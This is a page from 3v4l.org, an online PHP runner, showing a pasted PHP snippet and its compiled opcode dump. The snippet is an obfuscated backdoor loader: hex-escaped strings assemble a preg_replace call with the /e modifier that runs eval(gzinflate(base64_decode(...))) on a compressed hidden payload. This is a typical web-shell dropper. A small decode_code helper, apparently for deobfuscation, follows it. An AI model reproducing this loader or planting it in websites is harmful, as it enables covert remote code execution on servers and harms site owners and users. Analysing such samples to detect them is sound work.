3v4l.org

run code in 300+ PHP versions simultaneously
<?php $xkf00c .= "\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x22\x2f\x2e\x2a\x2f\x65\x22\x2c\x22\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x43\x5c\x78\x32\x38\x5c\x78\x36\x37\x5c\x78\x37\x41\x5c\x78\x36\x39\x5c\x78\x36\x45\x5c\x78\x36\x36\x5c\x78\x36\x43\x5c\x78\x36\x31\x5c\x78\x37\x34\x5c\x78\x36\x35\x5c\x78\x32\x38\x5c\x78\x36\x32\x5c\x78\x36\x31\x5c\x78\x37\x33\x5c\x78\x36\x35\x5c\x78\x33\x36\x5c\x78\x33\x34\x5c\x78\x35\x46\x5c\x78\x36\x34\x5c\x78\x36\x35\x5c\x78\x36\x33\x5c\x78\x36\x46\x5c\x78\x36\x34\x5c\x78\x36\x35\x5c\x78\x32\x38\x27\x7a\x56\x48\x62\x72\x70\x70\x51\x46\x50\x77\x58\x58\x30\x35\x62\x6d\x6f\x50\x63\x4a\x58\x32\x43\x4c\x53\x67\x67\x46\x37\x6b\x4b\x4d\x57\x6e\x6b\x49\x73\x70\x47\x39\x6c\x5a\x45\x6b\x4b\x38\x76\x70\x35\x36\x6b\x66\x65\x6c\x37\x48\x79\x61\x54\x4e\x54\x4d\x72\x57\x5a\x6d\x46\x62"; $xe67zm .= "\x30\x58\x35\x38\x31\x62\x67\x2b\x70\x41\x56\x58\x32\x62\x6b\x2b\x7a\x65\x79\x6d\x48\x32\x66\x37\x51\x65\x65\x32\x77\x38\x43\x50\x7a\x45\x31\x41\x65\x77\x48\x65\x6a\x47\x78\x4d\x47\x6e\x53\x78\x4f\x49\x45\x5a\x51\x4c\x2f\x38\x6a\x34\x79\x41\x76\x76\x61\x2b\x5a\x32\x6a\x50\x7a\x58\x6d\x70\x54\x46\x54\x6a\x70\x6c\x38\x54\x70\x33\x6d\x7a\x78\x7a\x2f\x34\x66\x30\x31\x30\x34\x73\x33\x37\x2f\x6d\x77\x76\x4b\x65\x67\x6a\x36\x62\x6f\x65\x79\x5a\x38\x65\x41\x64\x4b\x4d\x79\x74\x7a\x33\x69\x37\x39\x49\x41\x43\x77\x4d\x33\x49\x39\x75\x4e\x70\x70\x7a\x5a\x5a\x62\x55\x41\x64\x62\x4e\x65\x71\x6a\x2b\x69\x4b\x68\x55\x58\x74\x4b\x64\x47\x58\x41\x33\x75\x70\x54\x44\x31\x64\x4b\x4f\x46\x77\x53\x4b\x5a\x56\x31\x50\x30\x37\x51\x69\x74\x50\x76\x30\x6d\x41\x4f\x55\x74\x59\x41\x41\x6c\x61\x37\x34\x41\x51\x38\x42\x49\x70\x45\x59\x75\x4a\x61\x6f"; $xw92w3 .= "\x6b\x2b\x47\x46\x72\x42\x4b\x66\x4e\x44\x30\x78\x4c\x79\x37\x67\x53\x70\x54\x36\x74\x57\x4c\x61\x6e\x63\x48\x44\x51\x50\x43\x67\x34\x48\x67\x6c\x71\x4a\x50\x49\x46\x6b\x68\x2b\x57\x32\x36\x55\x50\x77\x44\x52\x70\x35\x4b\x6d\x6e\x33\x39\x67\x66\x2b\x66\x39\x71\x78\x34\x64\x46\x4f\x6b\x39\x61\x70\x32\x65\x45\x53\x70\x7a\x70\x6a\x6d\x64\x76\x4e\x49\x4e\x47\x4e\x2b\x61\x70\x5a\x75\x30\x53\x6f\x37\x33\x77\x77\x42\x36\x74\x32\x30\x78\x46\x55\x46\x6e\x77\x69\x76\x2b\x4d\x67\x35\x55\x73\x5a\x77\x35\x6f\x6e\x47\x47\x55\x6b\x37\x58\x79\x51\x74\x70\x34\x7a\x7a\x79\x73\x4c\x6a\x45\x4a\x52\x51\x6c\x49\x4f\x4d\x55\x2f\x55\x35\x6c\x63\x53\x58\x38\x4c\x6b\x67\x36\x55\x67\x49\x48\x55\x39\x77\x36\x72\x75\x49\x65\x58\x4a\x46\x46\x44\x4c\x67\x30\x6a\x57\x35\x75\x36\x70\x5a\x4e\x31\x54\x45\x4d\x6a\x30\x79\x4f\x58\x65\x39\x31\x44\x6e\x5a\x4f"; $x6b1me .= "\x75\x75\x6d\x6f\x71\x6a\x4e\x78\x61\x70\x41\x46\x42\x76\x61\x4a\x6e\x4a\x59\x7a\x62\x35\x33\x62\x6b\x38\x34\x43\x59\x45\x51\x50\x67\x66\x38\x47\x54\x41\x4b\x5a\x4b\x79\x79\x6f\x62\x4c\x65\x41\x55\x77\x4a\x33\x5a\x76\x5a\x39\x48\x62\x62\x63\x34\x74\x61\x4e\x55\x2f\x62\x54\x42\x45\x47\x63\x58\x73\x50\x62\x59\x54\x63\x56\x52\x59\x79\x34\x31\x31\x42\x71\x63\x69\x75\x6f\x34\x32\x35\x42\x47\x48\x50\x49\x64\x69\x6a\x77\x72\x64\x4a\x75\x74\x74\x42\x56\x79\x35\x76\x7a\x51\x4f\x65\x32\x58\x53\x6f\x62\x30\x56\x4c\x31\x66\x50\x34\x59\x4e\x47\x55\x73\x52\x42\x31\x49\x58\x47\x46\x7a\x72\x45\x36\x43\x68\x2f\x54\x4a\x69\x79\x76\x55\x55\x36\x34\x75\x4a\x55\x44\x58\x38\x75\x4f\x50\x73\x36\x64\x59\x50\x4f\x50\x7a\x2f\x34\x43\x27\x5c\x78\x32\x39\x5c\x78\x32\x39\x5c\x78\x32\x39\x5c\x78\x33\x42\x22\x2c\x22\x22\x29\x3b"; function decode_code($code){ return preg_replace_callback( "@\\\(x)?([0-9a-f]{2,3})@", function($m){ return chr($m[1]?hexdec($m[2]):octdec($m[2])); }, $code ); } ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/b1O6r
function name:  (null)
number of ops:  5
compiled vars:  !0 = $xkf00c, !1 = $xe67zm, !2 = $xw92w3, !3 = $x6b1me
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN_OP                                     8          !0, 'preg_replace%28%22%2F.%2A%2Fe%22%2C%22%5Cx65%5Cx76%5Cx61%5Cx6C%5Cx28%5Cx67%5Cx7A%5Cx69%5Cx6E%5Cx66%5Cx6C%5Cx61%5Cx74%5Cx65%5Cx28%5Cx62%5Cx61%5Cx73%5Cx65%5Cx36%5Cx34%5Cx5F%5Cx64%5Cx65%5Cx63%5Cx6F%5Cx64%5Cx65%5Cx28%27zVHbrppQFPwXX05bmoPcJX2CLSggF7kKMWnkIspG9lZEkK8vp56kfel7HyaTNTMrWZmFb'
    3     1        ASSIGN_OP                                     8          !1, '0X581bg%2BpAVX2bk%2BzeymH2f7Qee2w8CPzE1AewHejGxMGnSxOIEZQL%2F8j4yAvva%2BZ2jPzXmpTFTjpl8Tp3mzxz%2F4f0104s37%2FmwvKegj6boeyZ8eAdKMytz3i79IACwM3I9uNppzZZbUAdbNeqj%2BiKhUXtKdGXA3upTD1dKOFwSKZV1P07QitPv0mAOUtYAAla74AQ8BIpEYuJao'
    4     2        ASSIGN_OP                                     8          !2, 'k%2BGFrBKfND0xLy7gSpT6tWLancHDQPCg4HglqJPIFkh%2BW26UPwDRp5Kmn39gf%2Bf9qx4dFOk9ap2eESpzpjmdvNINGN%2BapZu0So73wwB6t20xFUFnwiv%2BMg5UsZw5onGGUk7XyQtp4zzysLjEJRQlIOMU%2FU5lcSX8Lkg6UgIHU9w6ruIeXJFFDLg0jW5u6pZN1TEMj0yOXe91DnZO'
    5     3        ASSIGN_OP                                     8          !3, 'uumoqjNxapAFBvaJnJYzb53bk84CYEQPgf8GTAKZKyyobLeAUwJ3ZvZ9Hbbc4taNU%2FbTBEGcXsPbYTcVRYy411Bqciuo425BGHPIdijwrdJuttBVy5vzQOe2XSob0VL1fP4YNGUsRB1IXGFzrE6Ch%2FTJiyvUU64uJUDX8uOPs6dYPOPz%2F4C%27%5Cx29%5Cx29%5Cx29%5Cx3B%22%2C%22%22%29%3B'
   18     4      > RETURN                                                   1

Function decode_code:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/b1O6r
function name:  decode_code
number of ops:  9
compiled vars:  !0 = $code
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    8     0  E >   RECV                                             !0      
    9     1        INIT_FCALL                                               'preg_replace_callback'
   10     2        SEND_VAL                                                 '%40%5C%5C%28x%29%3F%28%5B0-9a-f%5D%7B2%2C3%7D%29%40'
   11     3        DECLARE_LAMBDA_FUNCTION                                  '%00%7Bclosure%7D%2Fin%2Fb1O6r%3A11%240'
   13     4        SEND_VAL                                                 ~1
   14     5        SEND_VAR                                                 !0
          6        DO_ICALL                                         $2      
          7      > RETURN                                                   $2
   16     8*     > RETURN                                                   null

End of function decode_code

Function %00%7Bclosure%7D%2Fin%2Fb1O6r%3A11%240:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 4, Position 2 = 10
Branch analysis from position: 4
1 jumps found. (Code = 42) Position 1 = 15
Branch analysis from position: 15
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 10
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/b1O6r
function name:  {closure}
number of ops:  19
compiled vars:  !0 = $m
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   11     0  E >   RECV                                             !0      
   12     1        INIT_FCALL                                               'chr'
          2        FETCH_DIM_R                                      ~1      !0, 1
          3      > JMPZ                                                     ~1, ->10
          4    >   INIT_FCALL                                               'hexdec'
          5        FETCH_DIM_R                                      ~2      !0, 2
          6        SEND_VAL                                                 ~2
          7        DO_ICALL                                         $3      
          8        QM_ASSIGN                                        ~4      $3
          9      > JMP                                                      ->15
         10    >   INIT_FCALL                                               'octdec'
         11        FETCH_DIM_R                                      ~5      !0, 2
         12        SEND_VAL                                                 ~5
         13        DO_ICALL                                         $6      
         14        QM_ASSIGN                                        ~4      $6
         15    >   SEND_VAL                                                 ~4
         16        DO_ICALL                                         $7      
         17      > RETURN                                                   $7
   13    18*     > RETURN                                                   null

End of function %00%7Bclosure%7D%2Fin%2Fb1O6r%3A11%240

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
154.31 ms | 1400 KiB | 21 Q